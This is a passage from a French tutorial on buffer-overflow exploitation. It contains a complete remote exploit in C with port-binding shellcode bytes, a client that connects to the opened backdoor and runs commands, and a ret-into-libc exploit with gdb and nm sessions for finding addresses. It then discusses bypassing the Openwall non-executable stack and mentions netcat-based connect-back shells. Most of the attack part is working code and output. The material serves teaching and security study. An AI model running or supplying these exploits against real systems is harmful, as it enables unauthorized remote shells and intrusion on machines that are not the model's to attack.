  1750. Toutefois cette solution nous convient pas beaucoup, en effet on a seulement une ou
  1751. un nombre limités de commandes qu’on peut utiliser. On ne peut avoir aucune
  1752. interactivité et aucune sortie affichée de notre commande (à cause de la non-
  1753. disponibilité des descripteurs de fichiers). De plus la taille du buffer distant vulnérable
  1754. peut limiter la longueur de la commande à utiliser.
  1755. La solution la plus utilisée et la plus confortable dans les remote exploits est en fait le
  1756. port binding shell. Le shellcode ouvre un port TCP sur la machine distante puis y
  1757. exécute /bin/sh.
  1758. En C, cela revient à faire exécuter un code du style :
  1759. sck=socket(AF_INET,SOCK_STREAM,0);
  1760. bind(sck,addr,sizeof(addr));
  1761. listen(sck,5);
  1762. clt=accept(sck,NULL,0);
  1763. for(i=2;i>=0;i--) dup2(i,clt);
  1764. 46/92
  1765. puis à exécuter le shell comme dans les shellcodes execve précédents. L’utilisateur
  1766. peut ainsi se connecter au port et obtenir un vrai shell interactif avec la disponibilité
  1767. des 3 descripteurs de fichiers cette fois-ci. En fait généralement, les remote exploits
  1768. après avoir envoyé le payload vulnérable au serveur se connectent eux-même au port
  1769. distant.
  1770. Il est possible d’avoir un code assembleur du shellcode de longueur acceptable. Il en
  1771. existe plusieurs disponibles sur le net. Dans exploit, nous utiliserons le shellcode écrit
  1772. par bighawk et qui fait seulement 78 bytes. Ce shellcode ouvre le port 26112 sur le
  1773. serveur distant.
  1774. Enfin, quand on lance un remote exploit, contrairement à un local exploit, il nous est
  1775. pas possible d’estimer notre adresse de retour avec un get_sp. Pour notre exemple
  1776. nous chercherons directement une adresse de retour avec gdb. Les codeurs de remote
  1777. exploits proposent généralement une liste de targets d’adresses de retour précalculées
  1778. pour certains systèmes avec la possibilité d’ajouter un offset.
  1779. Voici le code de notre exploit :
  1780. 1 /* Remote exploit for vuln8.c
  1781. 2 by OUAH
  1782. 3 */
  1783. 4
  1784. 5 #include <stdio.h>
  1785. 6 #include <netdb.h>
  1786. 7 #include <netinet/in.h>
  1787. 8
  1788. 9 #define ALIG 6
  1789. 10 #define BD_PRT 26112
  1790. 11 #define RET 0xbffff6d4
  1791. 12 #define PORT 1234
  1792. 13
  1793. 14 char shellcode[] = /* bighawk 78 bytes portbinding shellcode
  1794. */
  1795. 15
  1796. 16 "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0"
  1797. 17 "\x66\x52\x50\xcd\x80\x43\x66\x53\x89\xe1\x6a\x10"
  1798. 18 "\x51\x50\x89\xe1\x52\x50\xb0\x66\xcd\x80\x89\xe1"
  1799. 19 "\xb3\x04\xb0\x66\xcd\x80\x43\xb0\x66\xcd\x80\x89"
  1800. 20 "\xd9\x93\xb0\x3f\xcd\x80\x49\x79\xf9\x52\x68\x6e"
  1801. 21 "\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53"
  1802. 22 "\x89\xe1\xb0\x0b\xcd\x80";
  1803. 23
  1804. 24
  1805. 25 u_long resolve_host(u_char *host_name)
  1806. 26 {
  1807. 27 struct in_addr addr;
  1808. 28 struct hostent *host_ent;
  1809. 29
  1810. 30 addr.s_addr = inet_addr(host_name);
  1811. 31 if (addr.s_addr == -1)
  1812. 32 {
  1813. 33 host_ent = gethostbyname(host_name);
  1814. 34 if (!host_ent) return(0);
  1815. 35 memcpy((char *)&addr.s_addr, host_ent->h_addr,
  1816. host_ent->h_length);
  1817. 36 }
  1818. 47/92
  1819. 37
  1820. 38 return(addr.s_addr);
  1821. 39 }
  1822. 40
  1823. 41 void connection(u_long dst_ip)
  1824. 42 {
  1825. 43 struct sockaddr_in sin;
  1826. 44 u_char sock_buf[4096];
  1827. 45 fd_set fds;
  1828. 46 int sock;
  1829. 47 char *command="/bin/uname -a ; /usr/bin/id\n";
  1830. 48
  1831. 49 sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  1832. 50 if (sock == -1)
  1833. 51 {
  1834. 52 perror("socket allocation");
  1835. 53 exit(-1);
  1836. 54 }
  1837. 55
  1838. 56 sin.sin_family = AF_INET;
  1839. 57 sin.sin_port = htons(BD_PRT);
  1840. 58 sin.sin_addr.s_addr = dst_ip;
  1841. 59
  1842. 60 if (connect(sock, (struct sockaddr *)&sin, sizeof(struct
  1843. sockaddr)) == -1)
  1844. 61 {
  1845. 62 perror("connecting to backdoor");
  1846. 63 close(sock);
  1847. 64 exit(-1);
  1848. 65 }
  1849. 66
  1850. 67 fprintf(stderr, "Enjoy your shell:)\n");
  1851. 68
  1852. 69 send(sock, command, strlen(command), 0);
  1853. 70
  1854. 71 for (;;)
  1855. 72 {
  1856. 73 FD_ZERO(&fds);
  1857. 74 FD_SET(0, &fds); /* STDIN_FILENO */
  1858. 75 FD_SET(sock, &fds);
  1859. 76
  1860. 77 if (select(255, &fds, NULL, NULL, NULL) == -1)
  1861. 78 {
  1862. 79 perror("select");
  1863. 80 close(sock);
  1864. 81 exit(-1);
  1865. 82 }
  1866. 83
  1867. 84 memset(sock_buf, 0, sizeof(sock_buf));
  1868. 85
  1869. 86 if (FD_ISSET(sock, &fds))
  1870. 87 {
  1871. 88 if (recv(sock, sock_buf, sizeof(sock_buf), 0) ==
  1872. -1)
  1873. 89 {
  1874. 90 fprintf(stderr, "Connection closed by remote
  1875. host.\n");
  1876. 91 close(sock);
  1877. 92 exit(0);
  1878. 93 }
  1879. 94
  1880. 48/92
  1881. 95 fprintf(stderr, "%s", sock_buf);
  1882. 96 }
  1883. 97
  1884. 98 if (FD_ISSET(0, &fds))
  1885. 99 {
  1886. 100 read(0, sock_buf, sizeof(sock_buf));
  1887. 101 write(sock, sock_buf, strlen(sock_buf));
  1888. 102 }
  1889. 103 }
  1890. 104
  1891. 105 }
  1892. 106
  1893. 107
  1894. 108 int main(int argc, char *argv[]) {
  1895. 109
  1896. 110 char buffer[1064-ALIG];
  1897. 111 int s, i, size;
  1898. 112 struct sockaddr_in remote;
  1899. 113 struct hostent *host;
  1900. 114
  1901. 115 int port = PORT;
  1902. 116 u_long dst_ip = 0;
  1903. 117
  1904. 118 printf("Remote Exploit by OUAH (c) 2002\n");
  1905. 119
  1906. 120 if(argc < 2) {
  1907. 121 printf("Usage: %s target-ip [port]\n", argv[0]);
  1908. 122 return -1;
  1909. 123 }
  1910. 124
  1911. 125
  1912. 126 dst_ip = resolve_host(argv[1]);
  1913. 127 if (!dst_ip)
  1914. 128 {
  1915. 129 fprintf(stderr, "What kind of address is that:
  1916. `%s`?\n", argv[1]);
  1917. 130 exit(-1);
  1918. 131 }
  1919. 132 if (argc > 2) port = atoi(argv[2]);
  1920. 133
  1921. 134 memset(buffer, 0x90, 1064-ALIG);
  1922. 135
  1923. 136 for (i=0; i < strlen(shellcode);i++)
  1924. 137 buffer[i+802]=shellcode[i];
  1925. 138
  1926. 139
  1927. 140
  1928. 141 for(i=1000-ALIG; i < 1059-ALIG; i+=4)
  1929. 142 *((int*) &buffer[i]) = RET;
  1930. 143
  1931. 144 buffer[1063-ALIG] = 0x0;
  1932. 145
  1933. 146
  1934. 147 host=gethostbyname(argv[1]);
  1935. 148
  1936. 149 if (host==NULL)
  1937. 150
  1938. 151 {
  1939. 152 fprintf(stderr, "Unknown Host %s\n",argv[1]);
  1940. 153 return -1;
  1941. 154 }
  1942. 49/92
  1943. 155
  1944. 156
  1945. 157 s = socket(AF_INET, SOCK_STREAM, 0);
  1946. 158 if (s < 0)
  1947. 159 {
  1948. 160 fprintf(stderr, "Error: Socket\n");
  1949. 161 return -1;
  1950. 162 }
  1951. 163 remote.sin_family = AF_INET;
  1952. 164 remote.sin_addr = *((struct in_addr *)host->h_addr);
  1953. 165 remote.sin_port = htons(port);
  1954. 166
  1955. 167 if (connect(s, (struct sockaddr *)&remote, sizeof(remote))==-
  1956. 1)
  1957. 168 {
  1958. 169 close(s);
  1959. 170 fprintf(stderr, "Error: connect\n");
  1960. 171 return -1;
  1961. 172 }
  1962. 173
  1963. 174
  1964. 175 size = send(s, buffer, sizeof(buffer), 0);
  1965. 176 if (size==-1)
  1966. 177 {
  1967. 178 close(s);
  1968. 179 fprintf(stderr, "sending data failed\n");
  1969. 180 return -1;
  1970. 181 }
  1971. 182
  1972. 183 fprintf(stderr, "Malicious buffer sent, waiting for
  1973. portshell..\n");
  1974. 184 sleep(4);
  1975. 185
  1976. 186 close(s);
  1977. 187
  1978. 188 connection(dst_ip);
  1979. 189
  1980. 190 }
  1981. Dans le main() de l’exploit, nous nous construisons d’abord dans buffer (ligne 110) le
  1982. payload qui contient le shellcode et va écraser l’adresse de retour en pile du
  1983. programme vulnérable. Ensuite à la ligne 175, nous nous connectons au serveur
  1984. vulnérable et lui envoyons le payload. Ceci provoque donc l’exécution de notre
  1985. shellode du côté du serveur et l’ouverture d’un port sur ce serveur. A la ligne 184,
  1986. nous attendons 4 secondes (cela est amplement suffisant) que le shellcode soit exécuté
  1987. et le port ouvert. Nous fermons enfin la socket de connexion et via la fonction
  1988. connection() nous nous connectons au port que nous venons d’ouvrir.
  1989. Quand nous nous connectons, notre exploit envoie (ligne 69) automatiquement au
  1990. portshell les commandes :
  1991. /bin/uname -a ; /usr/bin/id
  1992. Ces commandes nous indique la version du système d’exploitation distant et les
  1993. privilèges que nous avons avec ce shell. Elle sert aussi surtout à indiquer que
  1994. l’exploitation s’est bien déroulée et que le shell est maintenant disponible.
  1995. 50/92
  1996. Pour rendre fonctionnel notre exploit il faut d’abord lui trouver une adresse de retour
  1997. correcte (ligne 11). Nous utiliserons ainsi gdb sur notre programme vulnérable :
  1998. ouah@weed:~/remote$ gcc -g vuln8.c -o vuln8
  1999. ouah@weed:~/remote$ gdb vuln8 -q
  2000. (gdb) l 23
  2001. 18 bytes = recv(c, name, sizeof(name), 0);
  2002. 19
  2003. 20 if (bytes < 0) return -1;
  2004. 21
  2005. 22 name[bytes - 1] = 0;
  2006. 23 sprintf(buffer, "Hello %s, nice to meet you!\r\n", name);
  2007. 24 bytes = send(c, buffer, strlen(buffer), 0);
  2008. 25
  2009. 26 if (bytes < 0) return -1;
  2010. 27
  2011. (gdb) b 24
  2012. Breakpoint 1 at 0x80487f6: file vuln8.c, line 24.
  2013. (gdb) r
  2014. Starting program: /home/ouah/remote/vuln8
  2015. Lançons notre exploit afin de déclencher le breakpoint et cherchons une adresse de
  2016. retour valable:
  2017. Breakpoint 1, handling (c=-1073744172) at vuln8.c:24
  2018. 24 bytes = send(c, buffer, strlen(buffer), 0);
  2019. (gdb) x buffer+500
  2020. 0xbffff6e0: 0x90909090
  2021. Une adresse de retour au milieu du buffer est un bon candidat. Il faut juster penser à
  2022. se rappeller que les adresses qui contiennent un byte à 0 doivent être exclues.
  2023. Patchons notre exploit à la ligne 11 avec notre nouvelle adresse de retour 0xbffff6e0.
  2024. Maintenons exécutons le serveur sur une machine et lançons l’exploit :
  2025. ouah@weed:~/remote$ ./ex8 localhost
  2026. Remote Exploit by OUAH (c) 2002
  2027. Malicious buffer sent, waiting for portshell..
  2028. Enjoy your shell:)
  2029. Linux weed 2.4.16 #7 Sat Jan 5 05:19:34 CET 2002 i686 unknown
  2030. uid=1006(ouah) gid=100(users) groups=100(users)
  2031. L ‘affichage de la version du système d’exploitation et l’uid que nous possédons nous
  2032. indique que l’exploitation s’est parfaitement déroulée. Nous pouvons exécuter
  2033. n’importe quelle commande avec l’uid du serveur vulnérable. Lançons une
  2034. commande :
  2035. pwd
  2036. /home/ouah/remote
  2037. Cela fonctionne effectivement.
  2038. Nous voyons donc que bien que notre hacker n’avait initiallement aucun compte sur
  2039. la machine distante, un simple accès au serveur vulnérable lui a permis d’obtenir un
  2040. shell (root si le serveur est lancé en root) sur la machine.
  2041. 51/92
  2042. Notons encore la possibilité de brute-forcer certains offset pour des daemons plus
  2043. diffcilements exploitables. Cela est possible pour les respawning daemons qui sont
  2044. toujours automatiquement relancés même en cas de segfault, par exemple les services
  2045. lancés par inetd, ou des serveurs tels que sshd.
  2046. Quelques mots encore sur notre shellcode. Notre shellcode ouvre un port sur la
  2047. machine distante. Cela peut poser quelques problèmes dans l’exploitation de certains
  2048. serveurs. Il se peut par exemple qu’à cause de la présence d’un firewall qu’il soit
  2049. impossible d’ouvrir ce port ou même seulement d’y accéder. Si l’on écarte la solution
  2050. peu confortable du cmdshellcode, il existe 2 autres types de shellcode pour pallier à
  2051. cette limitation :
  2052. - find socket shellcode : ce shellcode réutilise le file descriptor de la socket
  2053. existante du serveur vulnérable. Il n’a donc pas besoin d’ouvrir un port
  2054. supplémentaire. Les 3 file descriptors restent accessibles. Ce code peut aussi
  2055. être intéressant pour exploiter des services RPC (ttdbserverd, cmsd,
  2056. snmpXdmid)
  2057. - connect back shellcode : ce shellcode agit selon le principe des backdoors
  2058. reverse telnet où c’est le client qui se connecte au serveur. Il faut alors ouvrir
  2059. un port avec /bin/sh avec netcat par exemple sur la machine depuis laquelle est
  2060. lancé l’exploit.
  2061. 52/92
  2062. 9. RET-into-libc
  2063. «Vous qui entrez ici, abandonnez
  2064. toute espérance», Dante,
  2065. inscription à la porte de l’Enfer
  2066. 9.1 RET-into-libc simple
  2067. Dans tous les cas d’exploits de stack overflow précédents, l’adresse de retour pointait
  2068. directement dans la stack où un shellcode y était stocké et exécuté. Dans la majorité
  2069. des systèmes, cette stack est exécutable c’est-à-dire que cette région mémoire possède
  2070. les droits d’exécutions et que du code peut y être exécuté à cet emplacement. Avoir
  2071. une pile exécutable peut paraître étrange, en effet pourquoi devrait-on pouvoir
  2072. exécuter du code dans une région qui accueille uniquement des données? En fait la
  2073. caractéristique exécutable est requise pour quelques rares cas, notamment pour
  2074. l’utilisation de trampolines dans des programmes compilés avec GCC. Les
  2075. trampolines sont nécessaires pour pouvoir supporter complètement une des extensions
  2076. GNU C que sont les nested fonctions. De plus, plusieurs programmes ne fonctionnent
  2077. tout simplement pas sans la présence d’une stack exécutable, il s’agit du compilateur
  2078. Java JDK 1.3, de XFree86 4.0.1 et de Wine ; nous expliquerons plus loin les solutions
  2079. pour dépasser ces limitations lors de l’activation d’une stack non-exécutable.
  2080. Contrairement à d’autres systèmes d’exploitation comme Solaris ou la série des
  2081. Digital Unix, le kernel Linux par défaut ne permet pas d’activer une stack non-
  2082. exécutable effective. Il existe toutefois plusieurs patchs kernel, écrits par différentes
  2083. personnes et destinés à améliorer la sécurité du kernel, qui offrent cette possibilité.
  2084. Les versions récentes de ces patchs proposent maintenant tous pour la plupart des
  2085. protections supplémentaires qui interdisent une exploitation RET-into-libc simple
  2086. comme celle présentée plus bas. Nous présenterons quand même cette méthode car
  2087. elle reste effective sous d’autres systèmes d’exploitation (Solaris) et sur les anciennes
  2088. versions des patchs kernel linux, mais surtout car elle est à la base de plusieurs
  2089. variations contre les nouveaux patchs. Notre exploit linux fonctionnera par exemple
  2090. sous un kernel par défaut (non patché) ou avec les premiers versions du patch
  2091. OpenWall (celles pour les kernel linux 2.0.x) 3 .
  2092. Dans les sections suivantes, nous présenterons ces patchs kernels ainsi que d’autres
  2093. méthodes de type return-into qui exploitent des stack overflow même avec les version
  2094. récentes de ces patchs.
  2095. Nous allons maintenant décrire cette méthode d’exploitation communément nommée
  2096. return-into-libc (présentée pour la première fois par Solar Designer) qui est à la base
  2097. de nombreuses autres que nous verrons dans les chapitres qui suivent. Son idée est
  2098. qu’au lieu de modifier l’adresse de retour pour qu’elle pointe sur un shellcode placé
  2099. dans la pile comme dans les stack overflows traditionnels, de la modifier pour qu’elle
  2100. 3
  2101. L’exploit devrait aussi fonctionner avec le patch Pax (ou les patchs basés dessus comme grsecurity) si
  2102. l’option CONFIG_PAX_RANDMAP n’a pas été séléctionnée
  2103. 53/92
  2104. pointe directement sur la fonction libc system(). Le but est d’appeler la fonction
  2105. system(/bin/sh); pour obtenir un shell comme dans le cas d’un exécution de shellcode.
  2106. D’après le chapitre 2, on sait que les fonctions prennent leurs paramètres sur la pile.
  2107. Dans un payload return-into-libc, juste après l’adresse de la fonction system(), il y a
  2108. l’adresse de retour dans la fonction puis le paramètre de la fonction system(). Ce
  2109. shéma est le même pour n’importe quelle autre appel de fonction en return-into-libc.
  2110. Il suffit donc de faire suivre 8 bytes plus loin dans le payload l’adresse de la fonction
  2111. system() par l’adresse en mémoire d’une chaîne /bin/sh terminée par un 0. Ainsi
  2112. aucun code n’est exécuté dans la stack, c’est uniquement du code de la libc qui est
  2113. exécuté. La fonction system() utilisant un seul paramètre, il nous est possible au
  2114. retour de system() de sauter encore sur une fonction. Nous choisirons d’appeler la
  2115. fonction exit() en fin pour que quand le hacker quitte le shell obtenu, le programme
  2116. quitte proprement sans segfaulter.
  2117. Il faut remarquer à ce propos qu’il existe un programme (sous forme de kernel
  2118. module) qui s’appelle Segvguard qui loggue tous les segfault pour alerter
  2119. l’administrateur qu’une attaque a été perpétrée (le programme peut alors interdire
  2120. l’exécution d’un programme pour éviter des attaques de brute force). Toutefois dans
  2121. notre cas, même si le programme n’appelait pas exit(), il est toujours possible de killer
  2122. notre shell pour l’empêcher de segfaulter à la sortie et ainsi tromper un programme
  2123. comme Segvguard.
  2124. ret
  2125. ret
  2126. sfp
  2127. sfp
  2128. buffer
  2129. buffer
  2130. avant l’overflow après l’overflow
  2131. 0 dummy
  2132. 0 dummy
  2133. /bin/sh ptr
  2134. /bin/sh ptr
  2135. exit()
  2136. exit()
  2137. system()
  2138. system()
  2139. dummy
  2140. dummy
  2141. figure 4.
  2142. Il n’est pas possible d’appeler plus de fonctions dans notre exploit return-into-libc, en
  2143. effet, du à l’empilement des arguments sur la pile, l’adresse d’une troisième fonction
  2144. devrait se situer dans notre cas exactement à l’endroit où l’adresse de la chaîne /bin/sh
  2145. est stockée. La figure 4 montre l’ordonnancement de notre payload sur la pile.
  2146. Nous aurions aussi pu au lieu d’utiliser la fonction system() appeler une fonction de la
  2147. famille exec*(). Ces fonctions ont besoin de plus d’arguments que la fonction
  2148. system() mais ont l’avantage de ne jamais retourné au programmé appelant (sauf en
  2149. 54/92
  2150. cas d’erreur de l’appel). Faire suivre ces fonctions d’un appel à exit() est ainsi
  2151. superlflu.
  2152. Reprenons pour notre exemple le programme vulnérable utilisé au Chapitre 4. Les
  2153. lignes qui suivent constituent l’exploit RET-into-libc commenté plus bas.
  2154. 1 /*
  2155. 2 * sample ret-into-libc exploit
  2156. 3 * for vuln2.c by OUAH (c) 2002
  2157. 4 * ex9.c
  2158. 5 */
  2159. 6
  2160. 7 #include <stdio.h>
  2161. 8
  2162. 9 #define LIBBASE 0x40025000
  2163. 10 #define MYSYSTEM (LIBBASE+0x48870)
  2164. 11 #define MYEXIT (LIBBASE+0x2efe0)
  2165. 12 #define MYBINSH 0x40121c19
  2166. 13 #define ALIGN 1
  2167. 14
  2168. 15 void main(int argc, char *argv[]) {
  2169. 16
  2170. 17
  2171. 18 char shellbuf[33+ALIGN]; /* 20+3*4+1+ALIGN */
  2172. 19 int *ptr;
  2173. 20
  2174. 21 memset(shellbuf, 0x41, sizeof(shellbuf));
  2175. 22 shellbuf[sizeof(shellbuf)-1] = 0;
  2176. 23
  2177. 24 ptr = (int *)(shellbuf+20+ALIGN);
  2178. 25 *ptr++ =MYSYSTEM;
  2179. 26 *ptr++ =MYEXIT;
  2180. 27 *ptr++ =MYBINSH;
  2181. 28
  2182. 29 printf(" return-into-libc exploit by OUAH (c) 2002\n");
  2183. 30 printf(" Enjoy your shell!\n");
  2184. 31 execl("/home/ouah/vuln2","vuln2",shellbuf+ALIGN,NULL);
  2185. 32 }
  2186. L’exploit construit donc le payload shellbuf à envoyer au programme vulnérable. Il
  2187. est composé d’un nombre suffisant de caractères (des A) pour remplir le buffer, suivi
  2188. des adresses de : la fonction system(),la fonction exit() et d’une string /bin/sh. Le byte
  2189. NULL final de la string du payload servira aussi de 0 comme paramètre de exit().
  2190. Contrairement à tous nos exemples précédents, on utilise ici aucun shellcode! Pour
  2191. que l’exploit fonctionne, les valeurs des adresses des #define au début de l’exploit
  2192. nécessitent d’être fixées car elles dépendent fortement de la version de la libc utilisé
  2193. sur le système hôte.
  2194. Tout d’abord, déterminons les adresses en mémoires des fonctions libc system() et
  2195. exit(). Regardons tout d’abord à quelle adresse se trouve le début de la libc pour notre
  2196. programme.
  2197. ouah@weed:~$ ldd vuln2
  2198. libc.so.6 => /lib/libc.so.6 (0x40025000)
  2199. /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
  2200. ouah@weed:~$
  2201. 55/92
  2202. On voit donc qu’à l’exécution du programme vulnérable, la libc est mappée en
  2203. mémoire à l’adresse 0x40025000.
  2204. Plusieurs informations intéressante sur l’espace d’adresse d’un processus peuvent
  2205. aussi être obtenu avec le proc file system dans le fichier /proc/pids/maps où le pid est
  2206. le pid du processus. Notre programme vuln2 s’exécute trop rapidemment pour que
  2207. nous ayons le temps d’inspecter ce fichier. Utilisons gdb pour bloquer le programme.
  2208. ouah@weed:~$ gdb vuln2 -q
  2209. (gdb) b main
  2210. Breakpoint 1 at 0x80483ea
  2211. (gdb) r
  2212. Starting program: /home/ouah/vuln2
  2213. Breakpoint 1, 0x80483ea in main ()
  2214. Nous pouvons maintenant obtenir le pid de vuln et inspecter le fichier /proc/pid/maps.
  2215. ouah@weed:~$ ps -u ouah | grep vuln2
  2216. 13023 pts/3 00:00:00 vuln2
  2217. ouah@weed:~$ cat /proc/13023/maps
  2218. 08048000-08049000 r-xp 00000000 03:03 1638436 /home/ouah/vuln2
  2219. 08049000-0804a000 rw-p 00000000 03:03 1638436 /home/ouah/vuln2
  2220. 40000000-40015000 r-xp 00000000 03:01 579912 /lib/ld-2.2.3.so
  2221. 40015000-40016000 rw-p 00014000 03:01 579912 /lib/ld-2.2.3.so
  2222. 40016000-40017000 rw-p 00000000 00:00 0
  2223. 40025000-4012c000 r-xp 00000000 03:01 580318 /lib/libc-2.2.3.so
  2224. 4012c000-40132000 rw-p 00106000 03:01 580318 /lib/libc-2.2.3.so
  2225. 40132000-40136000 rw-p 00000000 00:00 0
  2226. bfffe000-c0000000 rwxp fffff000 00:00 0
  2227. Nous pouvons obtenir, grâce à la commande nm exécutée sur la librairie elle-même,
  2228. les offsets pour reconstruire les adresses mémoires des fonctions recherchées.
  2229. ouah@weed:~$ nm /lib/libc.so.6 | grep system
  2230. ...
  2231. 0000000000048870 W system
  2232. ouah@weed:~$ nm /lib/libc.so.6 | grep exit
  2233. ...
  2234. 000000000002efe0 T exit…
  2235. ...
  2236. L’adresse se calcule simplement en ajoutant l’offset de la fonction depuis la library à
  2237. l’adresse du début de la library en mémoire (lignes 10 et 11 de l’exploit).
  2238. Il nous faut encore l’adresse mémoire d’une null-terminated string /bin/sh. Dans la
  2239. libc, il existe déjà plusieurs occurrences de cette chaîne : une chaîne /bin/sh est par
  2240. exemple utilisée pour la fonction popen(). Le débggueur gdb, contrairement à d’autres
  2241. débuggueurs, ne possède malheureusement pas de search features pour rechercher un
  2242. pattern en mémoire. Nous avons donc écrit en petit programme qui en comparant
  2243. /bin/sh dans la libc permet d’obtenir une adresse de cette chaîne de caractères en
  2244. mémoire (le code de ce programme est disponible en annexe). Il nous aurait aussi été
  2245. possible de placer cette string dans une variable d’environnement et de déterminer
  2246. facilement son adresse comme on l’a vu au chapitre 4.
  2247. 56/92
  2248. ouah@weed:~$ ./srch
  2249. "/bin/sh" found at: 0x40121c19
  2250. Maintenant que nous possédons toutes nos adresses, nous pouvons fixer notre exploit
  2251. en modifiant les define du début et le compiler. Exécutons-le :
  2252. ouah@weed:~$ ./ex3
  2253. return-into-libc exploit by OUAH (c) 2002
  2254. Enjoy your shell!
  2255. sh-2.05$ exit
  2256. exit
  2257. ouah@weed:~$
  2258. Notre exploit nous donne bien un shell et nous pouvons le quitter proprement. Les
  2259. attaques RET-into-libc fonctionnent invariablement sur une pile exécutable ou non
  2260. exécutable. Cette méthode originale nous dispense en outre l’utilisation d’un
  2261. shellcode et utilise un payload minimal. Comme on l’a vu, il nécessite de connaître la
  2262. version exacte de la libc.
  2263. Comme on l’a dit plus haut, des protections supplémentaires incorporées aux versions
  2264. récentes des patchs kernel de sécurité mettent en échec un retour sous cette forme
  2265. dans la libc.
  2266. 9.2 Le problème des pages exécutables sous x86
  2267. Les systèmes d’exploitation UNIX possèdent des permissions sur les pages mémoire.
  2268. Il s’agit, comme pour les fichiers, des permissions de lecture, d’écriture et
  2269. d’exécution. Cependant, de par le design des processeurs de type x86, il n’est pas
  2270. possible d’interdire l’exécution des pages mémoire. En effet les processeurs x86 ne
  2271. possèdent que 2 bits de droits sur les pages. Le premier spécifie les droits d’accès
  2272. d’une page (écriture ou lecture) et le second les privilèges nécessaires pour y accéder
  2273. (mode kernel ou mode user). Il n’y a pas de bit d’exécution sur les pages. Cela est
  2274. donc clairement insuffisant pour différencier les permissions de lecture, d’écriture et
  2275. d’exécution des pages. Comme solution à ce problème, Linux (comme d’autres
  2276. systèmes d’exploitation UNIX sous x86) considère que si une page est en lecture alors
  2277. elle est aussi en exécution et que si elle est en écriture alors elle est aussi en lecture.
  2278. La conséquence est donc que certaines permissions ne sont pas effectives : par
  2279. exemple, la section .data heap possède les permissions rw-, donc ne devrait pas être
  2280. exécutable mais étant lisible, à cause des règles sus-mentionnées, du code peut quand
  2281. même y être exécuté. C’est aussi pour cette raison que même si Linux offrait la
  2282. possibilité de changer les permissions de la pile de rwx en rw-, ces modifications
  2283. seraient sans effet.
  2284. 9.2 Le patch kernel Openwall
  2285. En 1997, Solar Designer conscient de la lacune d’une pile non-exécutable en terme de
  2286. sécurité pour Linux, programma le patch kernel Openwall qui possède parmi plusieurs
  2287. options celle de rendre la pile non-exécutable. Ce patch possède de nombreuses autres
  2288. 57/92
  2289. options pour améliorer la sécurité du kernel qui ne sont pas directement liées à la
  2290. préventions des buffer overflows, nous nous focaliserons sur celle qui propose
  2291. l’implémentation d’une pile non-exécutable.
  2292. Cette pile non-exécutable est implémentée lorsque le kernel est compilé avec la
  2293. nouvelle option CONFIG_SECURE_STACK. Pour résoudre le problème lié aux
  2294. trampolines, le patch dispose aussi de l’option CONFIG_SECURE_STACK_SMART qui
  2295. tente de détecter les trampolines et de les émuler. Le patch est fourni avec l’utilitaire
  2296. chstk. Ce programme prend un binaire a.out ou ELF en argument et lui ajoute un
  2297. nouveau flag qui indique au kernel que le programme doit être exécuté avec une pile
  2298. exécutable. Ceci permet de lancer un programme comme Xfree (voir section 9.1).
  2299. Nous allons exécuter l’exploit stack overflow du chapitre 3 sur un Linux 2.2.20 4 avec
  2300. le patch Openwall :
  2301. ouah@openw:~$ ./ex1 400
  2302. Jumping to: 0xbffffa6c
  2303. Segmentation fault
  2304. L’exploit segfault et ne nous donne pas de shell. Par contre, la tentative d’exploit a été
  2305. logguée avec syslogd :
  2306. Apr 9 21:08:21 templeball kernel: Security: return onto stack
  2307. running as UID 500, EUID 0, process vuln1:527
  2308. Nous avons dis dans à la section 9.1 qu’il n’est plus possible d’utiliser la méthode
  2309. RET-into-libc pour contourner Openwall. En effet, Solar Design qui est le découvreur
  2310. de cette méthode et l’auteur du patch a résolu ce problème en changeant les adresses
  2311. où les shared librairies sont mmap()ées pour qu’elles contiennent toujours un byte 0.
  2312. Nous avons vu avant que la libc était mmap()ée pour notre programme à l’adresse
  2313. 0x40025000, nous voyons qu’avec le patch celle-ci est désormais mappée plus bas
  2314. pour contenir un 0 dans le byte de poids le plus fort.
  2315. ouah@openw:~$ ldd vuln2
  2316. libc.so.6 => /lib/libc.so.6 (0x133000)
  2317. /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x110000)
  2318. L’introduction d’un byte 0 dans les adresses libc empêche notre exploit de faire passer
  2319. le payload entier au programme vulnérable. En effet, comme nous l’avons vu à
  2320. maintes reprises dans ce document le byte 0 agit comme terminateur pour la
  2321. commande strcpy() (et ses dérivées). Notons que cette protection n’affecte en rien
  2322. l’exploitation si c’est la fonction gets() qui est en cause mais celle-ci a de toute façon
  2323. complètement disparu dans les programmes.
  2324. Notre exploit RET-into-libc de la section 9.1 échoue donc à nous donner un shell sur
  2325. ces versions de openwall car la première adresse libc de notre payload termine la
  2326. string.
  2327. 4
  2328. A l’heure où l’article est écrit, un patch Openwall pour les kernels 2.4.x n’est pas encore disponible
  2329. 58/92
  2330. Cependant, cette protection supplémentaire est peu efficace. Il existe plusieurs
  2331. solutions basée sur la méthode RET-into-libc pour contourner ce problème des
  2332. adresses libc qui contiennent un byte 0.
  2333. 9.4 Bypasser Openwall
  2334. Les méthodes qui suivent nécessitent quelques connaissances sur le dynamic linking
  2335. du format ELF et sur l’utilité de la Procedure Linkage Table.
  2336. 9.4.1 ELF dynamic linking
  2337. Dans un programme au format ELF, il y a plusieurs références sur des objets comme
  2338. des adresses de donnée ou de fonctions qui ne sont pas connus à la compilation. Pour
  2339. effectuer la résolution de symboles à l’exécution, les programmes ELF font appel au
  2340. au runtime link editor ld.so.
  2341. ouah@weed:~$ ldd vuln2
  2342. libc.so.6 => /lib/libc.so.6 (0x40025000)
  2343. /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
  2344. La Procedure Linkage Table (PLT) est une structure dans la section .text dont les
  2345. entrées sont constituées de quelques lignes de code qui s’occupe de passer le control
  2346. aux fonctions externes requises ou, si la fonction est appelée pour la première fois,
  2347. d’effectuer la résolution de symbole par le run time link editor. La PLT et ses entrées
  2348. ont sur l’architecture x86 le format suivant :
  2349. PLT0 :
  2350. push GOT[1] ; word of identifying information
  2351. jmp GOT[2] ; pointer to rtld function
  2352. nop
  2353. ...
  2354. PLTn : jmp GOT[x+n] ; GOT offset of symbol adress
  2355. push n ; relocation offset of symbol
  2356. jmp PLT0 ; call the rtld
  2357. PLTn+1 : jmp GOT[x+n+1] ; GOT offset of symbol adress
  2358. push n+1 ; relocation offset of symbol
  2359. jmp PLT0 ; call the rtld
